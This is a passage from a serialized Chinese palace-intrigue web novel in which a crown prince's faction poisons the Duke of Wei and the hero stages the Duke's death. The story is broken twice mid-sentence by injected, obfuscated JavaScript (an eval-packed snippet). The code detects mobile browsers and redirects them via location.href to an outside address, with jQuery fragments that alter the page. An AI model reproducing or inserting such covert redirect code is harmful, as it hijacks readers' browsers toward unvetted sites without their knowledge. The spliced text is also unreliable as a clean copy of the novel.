尉迟凌说着话已经带着她进了卧房,房门一关,便把她抵在门板上,低头在她耳边低语,“我已经把国公爷送走了,现在府中只有我们,随便他们使什么手段我们都没有后顾之忧。” “真的?就你去主院的那一会儿功夫,便把人送走了?”夜时舒踮起脚搂着他脖子,在他俊脸上亲了一口,笑着夸赞,“干得漂亮!” 就亲一口,哪里够? 尉迟凌托起她身子,使她双脚离地不得不盘上他腰身。下一刻,偏头将她深深吻住。 “唔……别……我还有话……”夜时舒哭笑不得地推他。 “嗯?”尉迟凌冷眼瞪着她,不满她的扫兴。 “去床上说!不爱这样折腾!”夜时舒红着脸冲他努嘴。 尉迟凌眉眼中浮出笑意,托着她身子大步往床榻去,边走边脱掉她的鞋。 上了床,他也不猴急了,只压着她问道,“想说什么?” 夜时舒认真问他,“二嫂告诉我,说那黄符烧了能让未婚女子终身无法受孕,是真的?” 他们都不知道祝华凝怀了身孕,而她只知道那黄符有问题。她就想着把黄符还给祝华凝,让她自食恶果尝尝自己的手段。 等她烧了黄符扔进祝华凝房中后,她二嫂才告诉她那黄符的厉害。 “嗯。” 得到他肯定的答案,夜时舒面冷、眼冷、心也冷透了。 祝华凝是想毁了她这辈子做母亲的机会…… 澜贵妃让自己儿子偷去了本该属于尉迟凌的太子身份和荣耀,而祝华凝还想让她这辈子无法生养,这些人,阴毒得让人发指! 尉迟凌修长的手指勾挑着她的衣带,又问道,“还有什么想问的?” 夜时舒双手落在他腰间,主动为他宽衣解带,还学他咬她耳朵的样子去咬他的耳朵,笑着道,“我没什么想问的了,就是想要一个孩子……” 尉迟凌微微一愣,接着薄唇扬开,抵压着她,挑眉道,“那今晚熬个夜?” 夜时舒羞红了脸。 不等她别开头,他的吻便落下。 随着一件件衣裳被他扔到床下,床榻间的气氛越发火热,连带着床都‘嘎吱嘎吱’地越响越欢—— …… 主院。 闵强刚交代完院里的丫鬟做事,突然看到祝华凝身边的大宫女进了院子。 他忙笑着迎上去,“青翠姑娘,有何吩咐?芙蓉院有丫鬟,您让她们来传个话就是,怎好意思让您亲自来呢?” 青翠冲他友善地笑了笑,“闵管家,你也知道太子妃小产,这些日子需要好生休养,恐不能来给国公爷请安了。” “青翠姑娘,太子妃言重了!她是太子妃,哪能让她给国公爷请安呢?”闵强惶恐地摆手。 “虽然太子妃身份贵重,但晚辈始终是晚辈,该有的礼数还是得遵从的。只是太子妃近日不能来给国公爷请安,只得让奴婢代为前来。”青翠说完就要往主卧去。 “青翠姑娘!”闵强赶忙将她拦住,笑着说道,“太子妃的孝心小的会转告给国公爷,只是国公爷半个时辰前刚服了药,这会儿正睡着呢,不便接待您。 “这样啊……”青翠朝主卧的方向看去,随即体贴地道,“那我晚些时候再来吧。” “青翠姑娘,劳您转告太子和太子妃,国公爷这几日服药频繁,华神医又交代过不让人打扰,依小的看,还是不劳累青翠姑娘跑来跑去。眼下最要紧的是太子妃的身子,可万万马虎不得啊!”闵强婉拒之后一脸愧疚,“小的呢是外男,不便常去芙蓉院……不过太子妃需要什么,青翠姑娘尽管派人告诉小的,小的定会竭尽全力为太子和太子妃办妥!” “嗯,奴婢会转告太子和太子妃的。”青翠点了点头,突然朝不远处的几名丫鬟看去,“闵管家,她们这是?” “不怕青翠姑娘笑话,国公爷喜静,平日里府中没多少奴仆。如今府中人多了起来,玉林院和芙蓉院都需要人做事,国公爷怕怠慢了你们,便让小的新了几个丫鬟,小的方才正在教她们规矩呢!”闵强解释道。 “原来是这样。”青翠收回视线,说道,“既然国公爷在休息,那奴婢就先回芙蓉院了,太子妃还等着用参汤呢!” “我送送青翠姑娘。” “好。” …… 大厨房里。 因为尉迟睿他们的到来,为闵文骞治病的人‘变成’了顾思沫,为了展示诚意,这两日煎药都是顾思沫在做。 主院的丫鬟在旁边帮她打下手。 见青翠进来,丫鬟毕恭毕敬地上前,询问道,“青翠姑娘,请问您有何事吗?” 青翠看了一眼顾思沫,微微抬起下巴,“芙蓉院的小厨房不好用,我要给太子妃熬参汤,所以来大厨房看看。” 丫鬟赶忙说道,“青翠姑娘,能等上片刻吗?华神医正在给国公爷煎药,还有一刻钟便好。等她用完灶台,奴婢再帮您为太子妃熬参汤可好?” “好吧。”青翠回得很勉强,但也没打扰顾思沫做事,只安静地在一旁看她煎药。 正在这时,夜时竣突然现身,在门口对顾思沫招手,“芯儿,我小妹不身子不适,王爷让你过去瞧瞧!” 顾思沫一听,对旁边丫鬟说道,“王妃有事,我去瞧瞧,你帮我盯着点,一会儿时辰到了帮我把药汁倒碗里,这是国公爷午后要用的药,可别弄洒了。” “是。”丫鬟应道。 目送顾思沫跟着夜时竣远去的背影,青翠忍不住撇嘴鄙弃。 真是廉不知耻! 人家发妻才死多久,就把人勾引上了! 也就夜家这位二公子纨绔不羁,才不顾家族颜面要这种上不得台面的女人! 不过说起来,他们也真是般配! 都上不得台面! “青翠姑娘,您把食材给奴婢吧,奴婢先帮您准备。”丫鬟担心她会没耐心似的,顾思沫一走,便主动讨好。 “嗯。”青翠把提来的篮子递给她。 丫鬟接过篮子便去灶台忙活了。 看着炉子上的药罐,青翠嘴角勾了起来。 没想到竟如此轻松…… 不过她也能想明白,毕竟这药是给国公爷煎的,谁会想到他们会在国公府里对国公爷下手? …… 午后。 祝华凝喝完鸡汤,正与尉迟睿在房中密事,青翠喜滋滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136989|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来报,“太子殿下、太子妃,成了!小凤说,国公爷已经喝了那晚汤药!” 尉迟睿和祝华凝郁气了几日,总算听到了让他们高兴的消息,夫妻俩脸上也总算露出了一丝得意的笑。 祝华交代,“后面两日,一定要让闵文骞继续喝!” “是!” 尉迟睿还不忘补充,“那个叫小凤的丫鬟,一定要打点好!先多给她些银子,等到事成后,再把她……” 他比了个手势。 青翠再应道,“太子殿下放心,奴婢一定不会留下马脚的!” …… 连着两日。 国公府里养病的养病、补身的补身。 许是觉得太闷了,尉迟凌一大早便带着夜时舒去了街上。 当然,也少不了夜时竣和顾思沫。 “小妹,好不容易出来逛街,你帮你二嫂挑些胭脂水粉吧,我一个大男人,实在不知如何挑选。” “挑最贵的不就行了!”夜时舒笑着回他。 夜时竣直接给她一记白眼,“这么敷衍,那我还不如不买!” 夜时舒故意拉长脸,“二哥,你的意思是,你以前给我买东西都是如此敷衍?” 兄妹俩说话并没有避人,顾思沫在旁边听得直发笑。 夜时舒随即向她告状,“二嫂,你瞧,我以前还以为我二哥对我多大方,原来他的大方是因为没耐心啊!” “我哪有!”夜时竣瞪她。 “好了,小妹说什么你就听着,犟什么嘴?”顾思沫也瞪了他一眼。 “嘻嘻!”夜时舒掩嘴笑。 听着他们三人的对话,走在前面的尉迟凌将他们领到一家胭脂铺门口。 夜时竣拉着顾思沫先进去了。 夜时舒看着自己男人,忍着笑问道,“王爷要帮我挑,还是直接让掌柜拿最贵的新货?” 尉迟凌牵起她的手,“你若喜欢,便是抹到本王脸上,本王都无异议!” “哈哈!” 四人刚进铺里,一道身影也进来了。 夜时竣余光瞥见后,挑眉招呼了去,“魏公子,你这是帮谁买脂粉来的?” 魏永淮先向尉迟凌的方向拱手行了一礼,然后才回他,“我碰巧路过,见你们在此,便进来看看。” 不远处,尉迟凌和夜时舒也看到他进来了,只是夫妻俩都没正眼相待。 夜时舒手里拿着一盒口脂,指腹点了点正要往唇上抹。尉迟凌不着痕迹地挪了一步,正面对着她的同时也用后背挡住了所有人的视线。 他这小心思夜时舒如何看不懂? 她玩心一起,于是将指腹上的口脂抹到他薄唇上。 尉迟凌剜了她一眼,紧接着头一低,薄唇压上她红唇—— 夜时舒汗,“……” 先前怎么说的,说抹到他脸上他都没意见,转头就不乐意了,真是玩不起! 没人看到她给尉迟凌涂抹口脂的举动,但夜时竣他们却看到尉迟凌低头的样子。 看着魏永淮黯下的目光,夜时竣还忍不住打趣,“啧啧……这两个家伙,真是一点都没把我们当回事啊!” 魏永淮难堪得想离开。 正在这时,闵强带着家丁匆匆找来。 一进门就朝顾思沫喊道,“华神医,你快回去救救国公爷吧,他快不行了!” “出什么事了?”夜时竣关心问道。 “国公爷他早上就开始咯血,喝了药以后更是昏死过去了!” 第172章 太子守孝 四人加上魏永淮很快赶回卫国公府。 闵文骞房中,除了祝华凝没来外,尉迟睿和骆丽娴、青翠都在。 最重要的是两名大夫在闵文骞病床前争吵,还吵得面红耳赤,就差撸袖打一架了! “你们干什么?” 面对屋内剑拔**张的气氛,闵强忍不住大喝。 穿灰袍的大夫见他回来,忙上前说道,“闵管家,你回来得正好,国公爷就剩一口气了,你们要有孝心就赶紧再看他最后一眼吧!” 另一名穿灰袍的大夫义愤填膺地道,“国公爷明明是**,你却非说国公爷油尽灯枯,你如此罔顾事实,叫国公爷如何能瞑目?” 闵强看向灰袍大夫,“你是何人?” 灰袍大夫指着青翠说道,“草民姓肖,是受这位姑娘邀请来给国公爷看诊的!” 青翠立马解说道,“闵管家,国公爷病得严重,太子殿下听说华神医出去了,便让奴婢为国公爷请了大夫,没想到肖大夫和你请的李大夫在给国公爷看诊过后各持己见。” 顾思沫随即上前,在给床上的闵文骞瞧过后,扬声说道,“都别吵了,国公爷大限将至,有何话赶紧对国公爷说吧!” 闵强难以接受地扑到床边,抓着闵文骞枯槁的手,悲恸哭道,“国公爷……您不能丢下小的啊……” 而尉迟睿怒不可遏地指着顾思沫,“姓华的,本宫外祖父的病一直是你负责诊治,可肖大夫却说本宫外祖父药石无医是**所致,你不该给本宫一个说法吗?” 顾思沫面无波澜地迎着他怒火,“太子殿下是说民女给国公爷下毒?那太子殿下可能拿出证据?” 尉迟睿随即给青翠使了个眼色。 青翠走出门外,没一会儿便带进来一个丫鬟。 正是平日里帮着顾思沫煎药的丫鬟小凤。 “小凤,把你知道的说出来!” 面对青翠一脸的严厉,小凤茫然无措地问道,“青翠姑娘,您让奴婢说什么?” 青翠微愣,脸色很是难看地道,“不是你告诉我华芯在国公爷的汤药里做手脚吗?你还说你亲眼看到了!” 小凤普通跪地,惊呼道,“青翠姑娘,您别乱说,奴婢可从来没有那样说过!” “你!”青翠骇然地瞪着她。 “青翠姑娘,你是不是误会什么了?华神医尽心尽力地救治国公爷,如果她要加害国公爷,她大不可以袖手旁观任由国公爷病危,国公爷身子骨如此差,哪里还用得着做手脚!”小凤极力地解释,“奴婢是向您说过,华神医在汤药里加了东西,可那些东西是华神医特制的药,是医治国公爷用的,不能外泄,而且奴婢也不懂药理,说不清楚,便只能说华神医在汤药里加了什么。” “你、你敢背叛我?!”青翠简直不敢相信,这个花了一百两银子买通的丫鬟竟在这个时候反水! “青翠姑娘,奴婢是卫国公府的人,何来背叛您一说?”小凤委屈地爬到闵强脚边,抓着闵强的袍角哭了起来,“闵管家,您要为奴婢做主啊!奴婢可什么都没做,不知道青翠姑娘为何要把奴婢叫进来,还对奴婢说那些话,好像奴婢是她的人!” 尉迟睿在旁边看着,目光阴鸷,脸色铁青,恨不得先掐死青翠,再杀了这个叫小凤的奴婢! 明明这次计划天衣无缝,没想到这个小凤却是假投诚…… 他看了一眼床上病得脱相且奄奄一息的老人,忽然拔出剑怒指顾思沫,“华芯,你既然敢接本宫外祖父的病情,那就应该有把握医治好他,可他现在性命垂危,那便说明你医术不精、打着华湘阁神医的名号钓名欺世,你可知罪?” 顾思沫回道,“太子殿下,国公爷今年六十有七,本就年迈,前些日子又遭遇大病,身子骨几乎被掏空。如今他到了极限,也算寿终正寝,没什么好奇怪的。如果每个人老死都让身边人担罪,那这世上怕是没有人敢离世了,您说是不?” “你这是诡辩!”青翠忍不住反斥她,“卫国公府让你为国公爷医治,你既然治不好国公爷,那就该如实禀报,让其他医术高明的大夫救治国公爷!你如此眼睁睁看着国公爷性命垂危,意欲何为?” 自己的媳妇被人针对,夜时竣早都想上前了,但奈何某妹夫暗中抓着他手腕,不让他冲动。眼下见一个宫女都敢欺负他媳妇,夜时竣忍无可忍,用力甩开尉迟凌的手,冲上去将顾思沫护到身后,怼道,“国公爷弥留之际,你们不在床前尽孝,听他临终遗言,却把国公爷丢在一旁理论医术,你们又是出何居心?” 尉迟睿双眼紧敛,在狠狠攥紧拳头又松开后,才到床边跪下,声线哽咽地说道,“外祖父,都是本宫不好,本宫没能早点来济州。若是早点来济州,说不定您就不会遭遇病痛折磨……” 床上的闵文骞,比几日前更瘦,就剩一层皮包骨了,说瘦脱相都只是轻的。许是濒临枯萎,脸上还多了许多黑色斑点,看着格外吓人。 见他如此接近床上的人,夜时舒心里是有些忐忑的。 而尉迟凌看出她的担忧,背着人对她使眼色,示意她尽管安心。 夜时舒盯着尉迟睿的后脑勺,渐渐地唇角勾起一丝笑。 确实,她担心的有些多余。 上次尉迟睿和祝华凝来看闵文骞这位外祖父,还是他们刚到卫国公府那日。这些日子,这对夫妻虽然住在卫国公府里,但除了让青翠每日来主院问安外,他们夫妻是一次都没再踏进过闵文骞的房间。 她不知道上一次他们有没有好好观察闵文骞的样子,但这一次尉迟睿跪在床上,并没有正眼看床上的人。 许是床上濒临死亡的老人太可怕了,又或许是别的原因…… 反正,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136990|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没看。 她突然明白了尉迟凌为何敢偷梁换柱了。 就是因为尉迟睿与闵文骞多年未见! 一个数年不见面的人,且还不是自己的亲外祖父,又濒临死亡的状态,指望尉迟睿会好好地瞻仰闵文骞最后一面,他怕是巴不得闵文骞赶紧断气呢,又怎么可能做这种让他恶心的事? 而床上的老人也没让尉迟睿失望,枯槁的手缓缓地抬起,但下一刻便闭上了眼,那微动的手指也僵硬地落下。 尉迟睿感觉到了动静,这才抬眼,悲恸地喊道,“外祖父!” “国公爷!”闵强也悲痛大喊。 除了尉迟睿和夜时舒外,其他人都纷纷朝床上的老人跪下。 卫国公薨了。 济州城大大小小的官员闻讯,纷纷赶来卫国公府吊唁。 闵文骞的儿子、儿媳、孙子都远在异地任职,别说让他们回来操办丧事,就是书信一去把人叫回来最快也得七八日,这炎炎酷日,谁敢把堂堂的卫国公给放臭啊? 而尉迟睿作为卫国公的外孙,又是太子,这操办丧礼的事便只能落到他头上。 看着他对陆续前来的官员哽咽哭泣,每晚还要守灵尽孝,夜时舒他们在无人的时候真是乐得不行。 “王爷,你这一招真是太损了,哈哈!等回京以后让太子发现国公爷没死,我估计他能当场气死,哈哈!” 夜时竣也笑道,“看太子哭丧的样子,我好几次都差点没憋住!王爷,咱们还是找借口离开吧,免得待久了露出马脚!” 尉迟凌也是少有的满脸笑意。 一国太子,在他乡为他人哭丧,还必须哭得情真意切方显孝悌,别说他这二舅哥憋不住,他就快憋不住了。 “好,今晚我们便启程回京。” 随后他唤来闵强,跟闵强在房里待了一炷香的时间。 …… 连守了三个通宵的灵,尉迟睿是真吃不消了。这第四晚,他没瞧见尉迟睿四人,便把闵强喊来询问。 “回太子殿下,承王殿下和承王妃说他们有要事去办,已经离开济州了。”闵强回道。 尉迟睿憔悴的脸黑沉得很是难看。 闵强退下后,青翠到尉迟睿身边安慰他,“殿下,承王他们离开了也好,他们在这里,您还得继续披麻戴孝,着实辛苦。” 尉迟睿想想也是。 青翠继续说道,“反正我们的目的已经达到了,现在就等太子妃养好身子,我们便可以回京了。” 尉迟睿的脸色总算有些好转。 他们这次来济州的目的就是除掉闵文骞,避免尉迟凌找到与闵皇后有关系的证据。虽然除掉闵文骞的过程有些不尽人意,甚至还憋了一肚子气,但不管怎样,闵文骞**。 他和澜贵妃心中的疙瘩也总算能放下了。 只待回京,一心一意对付尉迟凌和夜时舒了! 第173章 半夜来鬼了? 京城。 夜庚新从书房回到卧房,看到九姑又在灯下叹气,他走过去将她手中的刺绣拿走,有些没好气地道,“把自己关在房里也做不好绣活,还不如去书房陪我呢!” 九姑白了他一眼。 夜庚新立马笑了笑,“你就别为他们操心了,他们一个比一个精,只有他们算计别人的份,哪有吃亏的?这都出去多少天了,若他们真遇上了麻烦,肯定会派人通知我们。他们没消息,说明一切顺利。” “你倒是通达!” “不然呢?他们几个,你看哪一个是我们管得住的?”夜庚新拉着她去床上,嘴上继续安慰她,“你就把心放宽吧,他们需要我们时自然会开口,他们不需要我们,我们擅作主张只会被嫌弃。” 九姑又给了他一记白眼。 跟他在一起也有好些日子了,她看得再清楚不过,这个当爹的一点都不靠谱! “早点歇息,明日我还要去早朝。”夜庚新说着话就去放床幔。 九姑脸颊微红,正想着如何找借口今晚拒绝他,突然门外传来郝福的声音,“将军,您歇下了吗?” 夜庚新刚把床幔放下,没好气地扭头冲门外问道,“何事?” “将军,济州来人了,您快去看看吧!”郝福的声音有些急。 “济州来人?”夜庚新听得有些糊涂。 九姑拉开床幔,起身道,“将军,王爷和王妃他们就是去的济州!快去看看,可是他们出何事了?” 夜庚新这才反应过来,赶紧去开门。 二人跟着郝福到了大门口,看着被文岩和文墨搀扶的老者,夜庚新使劲儿地眨了眨眼才确定自己没眼花—— “国公爷?您、您怎么来了?” “将军,多年未见,别来无恙?”闵文骞笑出一脸皱褶。 “快快……里面请!”夜庚新也是欣喜不已,赶忙抬手迎他进府。 文岩蹲下身,将闵文骞背起。 夜庚新愣住,借着大门上的灯笼,他这才发现闵文骞单薄得很是厉害。 “这……”回过神,他赶忙问文墨,“发生何事了?为何国公爷削瘦得如此厉害?还有,王爷和王妃他们不是去济州见国公爷了吗,为何不见他们回来?” “将军,里面说吧。”文墨干笑。 “快!文岩,快背国公爷进去!”察觉到事情不对后,夜庚新不敢再迟疑了。 郝福将他们引进一处干净的院子里,让文岩把闵文骞背进最大的一间卧房,接着又快速安排丫鬟奴仆过来做事。 夜时珽听到消息第一时间赶了过来。 文岩和文墨偷偷把卫国公送来将军府,大家的第一反应都是尉迟凌他们在济州出事了。 知道他们不安,文墨关好房门后,与他们说道,“王爷担心太子和太子妃会对国公爷不利,便让我们先护送国公爷偷偷回京。但王府现在没人,国公爷身子虚得厉害,我们怕照顾不好国公爷,这才想着来打扰将军。” “来得对!”夜庚新正色地点头,“你们要是把国公爷送别的地方,出了意外可怎办?” “蒙将军不嫌,老夫感激不尽。”闵文骞靠着床,老脸带着一丝羞愧。 “国公爷说的哪里话!”夜庚新坐到他身侧,拍着他枯瘦的手背,道,“想当年我们同朝共事,国公爷对我照拂良多。游家能封侯,也是国公爷多番向皇上赞美。您的大德人情我们可都记在心上呢!再说了,承王要是皇后娘娘的亲骨肉,那我们两家还是亲家呢,您说是不?” 闵文骞笑道,“是啊,没想到我们还能成亲家!凌儿能娶到舒儿,有将军这样的岳父泰山,老夫是真的欢喜!” 夜庚新也欣慰地笑。 之前他总担心女儿在澜贵妃那里吃亏,现在好了,等承王嫡长子身份水落石出昭告天下,他女儿也不用畏惧澜贵妃刁难了。 多了卫国公这么一个心慈仁厚的外祖父,便是多了一个疼爱她女儿的长辈,他再也不愁女儿会受委屈了! 闵文骞突然看向夜时珽,慈和道,“这位便是大公子吧?真是一表人才俊朗不凡啊!” 夜时珽谦虚应道,“国公爷谬赞了。国公爷在朝时文成武就功勋卓绝,受世人敬仰,晚辈还望以后能仰仗您多加指教。” 闵文骞开怀大笑,“哈哈!将军啊,你这几个孩子都教得极好,个顶个的出色啊!” 气氛正欢快,周铮的声音突然从门外传来。 文岩去开门,将人引了进来,“周先生,劳烦你为国公爷看看,这一路赶回京城,也不知他身子是否有损?” 夜庚新赶忙起身,扶闵文骞躺下。 周铮上前,细细地为他把脉、检查,再听文岩讲述他之前的遭遇后,说道,“国公爷体内的余毒早已清除,如今只是虚乏厉害,并无性命之忧。只要用心调养数月,便能恢复康健。” 夜庚新说道,“那国公爷就在将军府好好养身,一切都包在夜某身上!” 闵文骞感激地朝他们点了点头,“那就叨扰了!” 为了能与承王尽早公开相认,不论他们如何安排,他都会配合养好身子。 他女儿没了,如今承王已成亲,他怎么也要看着曾外孙出世才行! 夜庚新随即叮嘱郝福,“国公爷的事一定要守口如瓶,只有我们知晓,决不能向外泄露半字!” “将军放心,小的知道如何做。”郝福应道。 文岩和文墨继续留在闵文骞身边守护,夜庚新和九姑回到裕华院时已经三更天了。 “将军,我担心王爷和王妃他们,想回王府安排侍卫去济州。”九姑突然提议。 “将军府没人吗,要你回王府搬人?”夜庚新不满地拿眼神剜着她,“这事你不用担心,天亮我会安排人去!” 九姑也不好再说什么,开始为他宽衣,“时候不早了,你不是说还要去早朝吗,赶紧睡会儿。” “嗯。” 二人上了床。 夜庚新并无睡意,正想着要不要做点别的,门外又突然来人—— “将军,济州城急报!” 夜庚新翻身坐起,这次一点都没迟钝,赶忙去开门。 “什么急报?可是王爷和二公子他们的消息?” 门房侍卫摇着头道,“与王爷和二公子无关,是济州城卫国公府发来丧报,说卫国公薨了!” “什么?国公爷薨了?” 夜庚新猛地打了个寒颤。 那大半夜来他府里的是什么? 第174章 让澜贵妃去哭丧 九姑把夜庚新挤开,问门房侍卫,“王爷和王妃呢?可有他们的消息?” 门房侍卫回道,“没有王爷和王妃的消息,只听说太子殿下在为卫国公戴孝。” 夜庚新挥了挥手,“下去吧。” “是。” 待侍卫离开,他立马关上房门,低声问道,“九姑,你说这究竟是怎么回事?国公爷明明在我们府上,为何会报出他薨逝的消息?如果国公爷真薨了,那来我们府上的人是谁?” 九姑哭笑不得,“将军,有没有可能济州薨逝的国公爷是假的?” “呃?” “文岩和文墨不是说了吗,王爷担心国公爷被太子谋害才让他们偷偷把国公爷送回京城,既然是王爷的主意,那王爷一定会找个人替代国公爷。” 夜庚新张着嘴说不出话来。 他不是没想过这种可能,但顶替国公爷这种事不是小事,更何况还涉及到国公爷的身后事,这可是欺君的大罪…… “九姑,你在府中看着些,我进宫一趟,得在早朝前见到皇上!” “你进宫做什么?”九姑不解。 “国公爷假死之事乃欺君之罪,我得先赶在皇上知道真相前如实禀报,免得以后有人拿此事向承王问罪!” 夜庚新说完,回房里快速整理好衣冠,然后匆匆赶去宫里。 九姑望着他焦急火燎的背影,想唤住他,但想了想还是由了他去。 …… 澜霞宫。 听到济州传来的赴告,澜贵妃在睡梦中被叫醒,又惊又喜地问陈嬷嬷,“属实吗?赴告上是如何写的?” 陈嬷嬷道,“赴告是太子亲自写的,说是卫国公年老体衰,无疾而终。” 澜贵妃大喜赞道,“没想到这一次如此快速圆满地解决掉了闵文骞,太子这一次办得实在是好!” 陈嬷嬷也笑了,“解决掉了卫国公,娘娘现在该安下心了吧?” “快为本宫梳妆,本宫要去乾宁宫陪皇上一同悼哀。”澜贵妃高兴归高兴,但面上该做的戏也做下去。 “是。” 乾宁宫这边。 尉迟晟刚接到赴告,就听宫人来禀报,说夜庚新求见。 他宣了夜庚新觐见,二人在房里说了不到一刻钟的话,齐绥便来禀报,“启禀皇上,贵妃娘娘来了。” 尉迟晟皱了皱眉,但还是宣了澜贵妃进殿。 见夜庚新也在,澜贵妃有些意外,“夜将军怎深夜入宫?” 不等夜庚新回话,尉迟晟便先说道,“听闻承王和承王妃也在济州城,他们将卫国公薨逝的消息传回将军府,夜卿不信,深夜入宫向朕求证。” 澜贵妃露出一脸悲伤,“国公爷就这么去了……臣妾这心里着实难受……” 尉迟晟长叹,也一脸感伤,“是啊,他就这么去了,朕一时间真难以接受。” 澜贵妃安慰道,“皇上,人死不能复生,您别太难过了。再说了,听闻国公爷是寿终正寝,且又有太子为他送终,想来他应该也没有遗憾了。” 尉迟晟感伤地又连叹好几声,突然想到什么,抬眼道,“贵妃,卫国公只有皇后一个女儿,皇后早逝,这应该是卫国公此生最大的遗憾。你与皇后情同姐妹,这些年又视太子如己出,不如你去一趟济州城,协同礼部、太子为卫国公操办丧礼。有你在卫国公灵前哭丧,卫国公和皇后在天有灵,他们一定会深感欣慰的!” “皇上……臣妾……”澜贵妃险些吐血。 闵文骞死了,她只有欢欣雀跃。 现在让她去给那老东西哭丧,这不是恶心她嘛? “怎么,你不愿意替朕和皇后送卫国公最后一程?”尉迟晟倏地沉了脸。 “不是……臣妾……臣妾……”澜贵妃完全没想到他会如此安排,一时间她根本想不出拒绝的理由。 “既然不是,那你和礼部的人今夜便起程吧!”尉迟晟说完就朝齐绥吩咐,“你送贵妃去礼部,别忘了交代他们,让他们务必照顾好贵妃。” “是。”齐绥赶紧应道。 澜贵妃脸色青白交错。 此时的她好比被帝王赏赐了一只活苍蝇,恶心至极却又不敢抗旨。 目送澜贵妃离去,夜庚新嘴角忍不住抽动。 现在让澜贵妃去济州给国公爷哭丧她都难以接受,要是以后让她和太子看到国公爷还活着,怕是能当场被气死…… “夜卿,你来得正好,朕有一事要你去准备。”尉迟晟脸上没了伤感之色。 “皇上有何吩咐?”夜庚新赶紧应道。 “待澜贵妃和太子回京后,朕要举办一场游猎。望秋山是你的营地,你对那的地形再熟悉不过。此次游猎就选在望秋山,到时承王会有一些安排,你务必配合。” “是,臣会提前做好部署!”夜庚新没有多问,因为听出来了,这次游猎是承王的主意,那他回头问承王就行了。 …… 澜贵妃和礼部的官员快马加鞭赶到济州。 得知祝华凝小产,本就心情极差的澜贵妃更是怒到了极点,对着青翠劈头盖脸地骂,“你是如何照顾太子妃的?你可知道太子妃这一胎有多重要?如此没用,信不信本宫砍了你脑袋让你去给皇长孙陪葬?” 青翠跪在地上大气都不敢喘,只能受着挨骂。 祝华凝忍不住替青翠说话,“娘娘,与青翠无关,我和太子的孩儿是被尉迟凌和夜时舒害没的!” “那两个东西呢?为何不见他们?”澜贵妃咬着牙问道。如果他们在跟前,她非得亲自掌他们脸不可! “他们前日便离开了。” “前日便离开了?如此说来,他们这次来济州城并没有发现任何?”澜贵妃眯着眼,心里快速分析起来。 她知道承王对自己的身世起了疑心。 眼下承王还不等卫国公入殓下葬便离开了,那说明他什么也没发现。毕竟他要是知道卫国公就是自己的亲外祖父,不可能说走就走。 正在这时,尉迟睿走了进来。 看着一脸憔悴满眼红血丝的他,澜贵妃心疼坏了,“太子,你怎变成这般模样了?那老东西死就死了,你干嘛要折腾自己呢?” 尉迟睿哼道,“府里除了闵强外,一个主事的都没有,一点破事他们都来烦本宫!” 澜贵妃赶紧吩咐陈嬷嬷,“快带殿下去休息,再传话下去,就说太子悲伤过度身子抱恙,无法再为卫国公守灵,有什么事一律去找礼部的人!” 尉迟凌和夜时舒这两个狗东西,他们一走了之,把她儿留在这里干这种晦气的糟心事,这笔账她一定好好记下! 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第175章 你就忍心看你夫君憋着? 原本尉迟睿打算办个三五日就将闵文骞下葬,结果礼部的人一来,算了一下日子后,原本已经办了四日的丧礼还要延迟六日。 澜贵妃和尉迟睿听后,脸都绿了。 这酷热的天,四天过去,尸体已经有味儿了。现在还要摆灵六天,这谁受得了? 澜贵妃把礼部负责的官员叫到偏房,厉声质问,“这大夏的天,卫国公的遗体都臭了,你们是没长鼻子吗?卫国公可是太子的外祖父,你们这样做,是不打算给他留体面吗?” 礼部负责的官员叫周阳。 面对她斥责,周阳认真解释道,“贵妃娘娘,我们也希望卫国公能早日入土为安,可是这几日都是反冲的日子,若是在这几日让卫国公下葬,恐有伤子孙后人。贵妃娘娘也说了,卫国公是太子殿下的外祖父,若不避开忌日,对太子殿下也有影响,微臣可不敢拿太子殿下的气运和福泽开玩笑。” 澜贵妃怒道,“太子是帝王之子、是储君,有天家龙威护着,谁能冲得了他的气运和福泽?依本宫看,你们就是故意拖延时日,想让卫国公死后也不得体面!” 周阳闻言,不由得皱起眉,“贵妃娘娘,自古以来红白事都忌讳深重,事关卫国公大丧,微臣更是不敢马虎半点!” 澜贵妃气得想掌掴他。 闵文骞是承王的亲外租,如果他死后犯冲,自是对承王不利,她还求之不得呢! 周阳没给她说话的机会,继续道,“贵妃娘娘,卫国公大丧,一切流程皆会上报天子,如有差错,微臣便是有十颗头颅也担不起。如果贵妃娘娘有何异议,可上奏请示皇上,皇上若允,微臣定当遵从。” 说完,他拱手作礼,退出偏房。 澜贵妃肺管子都快气炸了。 这周阳,摆明了是不给她面子! 正在这时,陈嬷嬷进来禀道,“娘娘,今日法事又开始了,之前都是太子殿下披麻哭丧,现太子殿下身子抱恙,闵管家说请您前去接替太子殿下,不然法事无法完成。” 澜贵妃美目圆瞪,指着门外怒道,“那灵堂都发臭了,他们闻不到吗?本宫是何身份,竟敢叫本宫去为一个臭死人哭丧?” 陈嬷嬷一脸为难。 这大丧仪式,法师要为亡者超度,孝家子孙必须到场哭丧。之前礼部没来主事,太子殿下作为一个外孙,还可以马马虎虎做做样子,可现在礼部接手了,一切事宜必须讲究起来,她能有什么办法? 最重要的是,皇上让贵妃娘娘来济州,是替去世的皇后尽孝…… 如果贵妃娘娘不去灵堂,那礼部的人必定会参奏娘娘一本! 